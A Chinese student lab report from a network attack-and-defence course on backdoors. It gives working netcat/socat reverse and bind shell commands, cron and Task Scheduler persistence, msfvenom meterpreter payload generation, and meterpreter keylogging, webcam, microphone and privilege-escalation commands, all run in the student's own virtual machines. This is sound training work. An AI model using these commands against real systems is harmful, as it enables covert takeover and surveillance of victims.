Exp2 后门原理与实践 20164320 王浩
一、实践基本内容
1.实践目标
(1)使用netcat获取主机操作Shell,cron启动
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
2.实践前期准备
在实践前期先熟悉一下ncat的使用,使用前确定Linux和Windows都安装好了ncat。
Windows中命令行中输入指令 ipconfig 查看本机IP地址

Linux终端中输入指令ifconfig查看本机IP

读图可知Windows的IP地址为192.168.40.129 linux的IP地址为192.168.40.128
2.1使用ncat,本机(Windows)获得虚拟机(Linux)操作shell
步骤一:win中使用ncat监听4320端口
输入指令:ncat.exe -l -p 4320

步骤2:在Linux输入指令 nc 192.168.40.129 4320 -e /bin/sh

从实验截图中不难看出windows成功获得虚拟机linux的shell权限,能够进行操作,此时本机(windows)为攻击者,虚拟机(Linux)为靶机也就是被攻击者
2.2使用ncat,虚拟机(Linux)获得本机(Windows)操作shell(大体步骤与上述类似)
步骤1:在Linux中监听4320端口:nc -l -p 4320

在windows Doss界面下输入指令后出现停止工作界面,查询原因后更改指令到桌面就成功解决该问题

步骤2:在Windows输入指令 ncat.exe -e cmd.exe 192.168.40.128 4320 反弹连接Linux的4320端口(指令中的ip地址需为Linux ip)

获取windows权限

二、实践具体步骤
目标一:使用netcat获取主机操作Shell,cron启动
cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务 工具,并且会自动启动cron进程,cron进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。
crontab文件的含义:
用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:minute hour day month week command
具体步骤:
1.crontab -e 指令编辑定时任务,选择3,启用VIM编辑器

2.im编辑器中用 i改为插入模式,在最后一行插入21 * 24 3 * /bin/netcat 192.168.40.129 4320 -e /bin/sh后输入:wq!保存并退出,上述指令表示在3月24日每小时的第二十四分钟时反向连接windows本机的4320端口,就会启动cron

可能是我设置的时间太过任意,我想在任意一天的整点都反向连接windows上的端口,但最后连接失败

3.在第24分钟之前输入 ls 指令,屏幕上并无显示,当时间到了14点24时,此时已经获得了shell,指令所得内容则显示了出

目标二:使用socat获取主机操作Shell, 任务计划启动
Socat是ncat的增强版,socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。作为一款双向数据流通道工具,它拥有许多强大的功能:端口的连接、端口侦听、收发文件、传递shell、端口转发、端口扫描等。
实践前在Windows安装好socat。
具体步骤:
1.win中打开控制面板,选中管理工具->系统->任务计划程序


2.创建新任务,填写任务名称,新建一个触发器。



3.同时创建新操作,在操作->程序或脚本中选择 socat.exe 文件的路径,在添加参数一栏填写 tcp-listen:4320 exec:cmd.exe,pty,stderr ,这个命令的作用是把cmd.exe绑定到端口4320,同时把cmd.exe的stderr重定向到stdout上
但运行时出现了错误,更改指令顺序 选择创建基本任务,在基本任务栏里选择设置操作和程序及脚本
最后在Linux上输入指令socat - tcp: 192.168.40.129:4320可以看到获取windows权限,尝试执行windows指令,执行成功

目标三:使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
具体步骤:
1.Linux中输入指令生成后门程序(因为靶机系统为win10的64位故在指令中参数加上x64)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=4320 -f exe > 20164320_backdoor.exe

2.使用ncat传输已经生成的20164320.exe程序文件。(通过4320端口)
)在win中输入: ncat.exe -lv 4320> 20164320_backdoor.exe 监听并接受后门程序;

ii)在Linux中输入: nc 192.168.40.129 4320 < 20164320_backdoor.exe 向win传输后门程序。

操作完成后可在ncat文件的根目录下查看后门

3.在Linux中输入指令msfconsole,进入msf命令行,msf启动监听前需要进行一些设置
use exploit/multi/handler /*进入handler模式*/ set payload windows/x64/meterpreter/reverse_tcp /*对应生成的后门程序设置payload*/ show options /*查看当前信息状态*/ set LHOST 192.168.40.128 /*设置LHOST,其中ip为Linux的ip*/ set LPORT 4320 /*设置LPORT*/ exploit /*启动监听*/

在这里进行操作时出现了问题,所植入的后门在所有杀毒软件全部关闭的情况下仍然无法正常运行,进行了近乎一天的尝试和找资料还是没办法解决这个问题,所以后面的实验借用了王启元同学的电脑进行了实验
我电脑的问题:
借用启元电脑后的实验截图:

目标四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
具体步骤:
record_mic//该指令可以截获音频 webcam_snap//该指令可以使用摄像头进行拍照 screenshot//该指令可以进行截屏 keyscan_start//输入该指令开始记录下击键的过程 keyscan_dump//输入该指令读取击键的记录

由于没有键入,所以返回一直失败

重新尝试后成功

getuid指令查看当前用户,使用getsystem指令进行提取权限失败,在win中重新以管理员身份以管理员身份运行后门程序再重新提取权限,终于成功

目标五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
在完成该目标时,直接在两台虚拟机Linux之间进行,大致步骤与目标三相同,要点在于shellcode的生成。
1.利用指令 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.40.128 LPORT=4320 -x /root/Desktop/20164320wh -f elf > 20164320wh_2 生成以20164320wh为模板这个elf文件格式的shellcode文件20164320wh_2

2.输入指令msfconsole,进入msf命令行,msf启动监听前需要进行一些设置
use exploit/multi/handler /*进入handler模式*/ set payload linux/x86/meterpreter/reverse_tcp /*对应生成的后门程序设置payload*/ show options /*查看当前信息状态*/ set LHOST 192.168.40.128 /*设置LHOST,其中ip为攻击者Linux的ip*/ set LPORT 4320 /*设置LPORT*/ exploit /*启动监听*/

重新配置后:

重新尝试与Linux取得连接,连接失败,反复尝试发现只是单项连接,查找资料,发现我只是获得了访问权限

但接下来改怎么继续进行,也没有什么头绪,我跟同小组的同学讨论后也没有什么进展,网上的方法尝试后也大都没什么实际用处,实验五失败
三、实践问题回答与收获
基础问题回答:
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:后门程序可能与我下载的某些盗版软件捆绑下载,或者登陆盗版游戏网站下载游戏的时候同时下载到我的电脑。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:win中后门可能与某些软件捆绑运行达到启动的目的;
Linux中通过设置corn定时启动后门程序。
(3)Meterpreter有哪些给你映像深刻的功能?
答:能够获得摄像头权限和键盘使用权限并且能够监视键盘键入!让我意识到一旦被攻击,我将无处可藏.
(4)如何发现自己有系统有没有被安装后门?
答:稍微低级一点的,例如火绒软件和防火墙,我在做实验时起初就因为没有关掉火绒杀毒软件导致后门程序一被传输过来就被杀死了。更加仔细一点的话,可以通过查看进程和利用一些抓包工具来进行分析。(前提是后门程序启动了)
实践收获
本次实验确实很有意思,之前只是在信安课上接触过类似的控制权限实验,但那个实验多是借助软件来实现,本次实验让我真实体验了一把当黑客的感觉,虽然是个菜的不能再菜的黑客,哈哈哈。整个实验除了实验五以外不是很难,通过实验,我更好的了解了我电脑的每个部分,学到了很多,同时意识到自己之前的一些操作时多么没有安全意识,每想到自己的电脑可以肆意被别人监听,就很是不舒服,通过这次实验我也逐渐意识到了计算机安全的重要性。
Exp2 后门原理与实践 20164320 王浩的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...
- 20155324《网络对抗》Exp2 后门原理与实践
20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...
- 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...
- 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...
- 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...
- 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...
- 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...
- 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...
随机推荐
- MySQL平滑删除数据的小技巧【转】
今天接到一位开发同学的数据操作需求,需求看似很简单,需要执行下面的SQL语句: delete from test_track_log where log_time < '2019-1-7 00: ...
- 将代码上传版本库gitee
首先在电脑中安装git,配置好环境变量. 在后台输入命令上传 上传账号的用户名git config --global user.name "" 上传账号的邮箱git config ...
- LabVIEW--使用云端编译器编译多个vi
使用ni 云服务器编译vi 详细请看链接: https://users.niwsc.com/compilecloud/#/ http://www.ni.com/white-paper/52328/en ...
- 【原创】大叔经验分享(18)hive2.0以后通过beeline执行sql没有进度信息
一 问题 在hive1.2中使用hive或者beeline执行sql都有进度信息,但是升级到hive2.0以后,只有hive执行sql还有进度信息,beeline执行sql完全silence,在等待结 ...
- Centos 7 telnet 详解
telnet命令 telnet命令用于登录远程主机,对远程主机进行管理.telnet因为采用明文传送报文,安全性不好,很多Linux服务器都不开放telnet服务,而改用更安全的ssh方式了.但仍然有 ...
- 原生js实现无缝轮播
原生js实现无缝轮播 因为要做到无缝,所以就要把第一张图片和最后一张连接起来,在此处采用js克隆了第一张图片的节点,添加到最后,显示图片序号的小圆按钮也是使用js动态添加的. html部分 <d ...
- ng2-translate 国际化中 配置文件添加变量
1. <li> {{ 'Withdrawmoney.tipsP1' | translate:{value:assets} }} </li> 2. "Withdrawm ...
- get方法与post方法的区别与js获取url参数的方式
1.get方法与post方法的区别: 区别一:get重点在从服务器上获取资源,post重点在向服务器发送数据:区别二:get传输数据是通过URL请求,以field(字段)= value的形式,置于UR ...
- C#学习-接口的成员
在接口中定义方法不能添加任何访问修饰符,因为接口中的方法是默认为public,如果显式地指定了修饰符,则会出现编译时错误. 定义玩接口之后,如果有类想继承该接口,则它必须显示接口中定义的所有方法. 在 ...
- [C#.Net]全局钩子实现USB扫码枪无焦点状态下扫入
https://www.cnblogs.com/masonlu/p/10105135.html
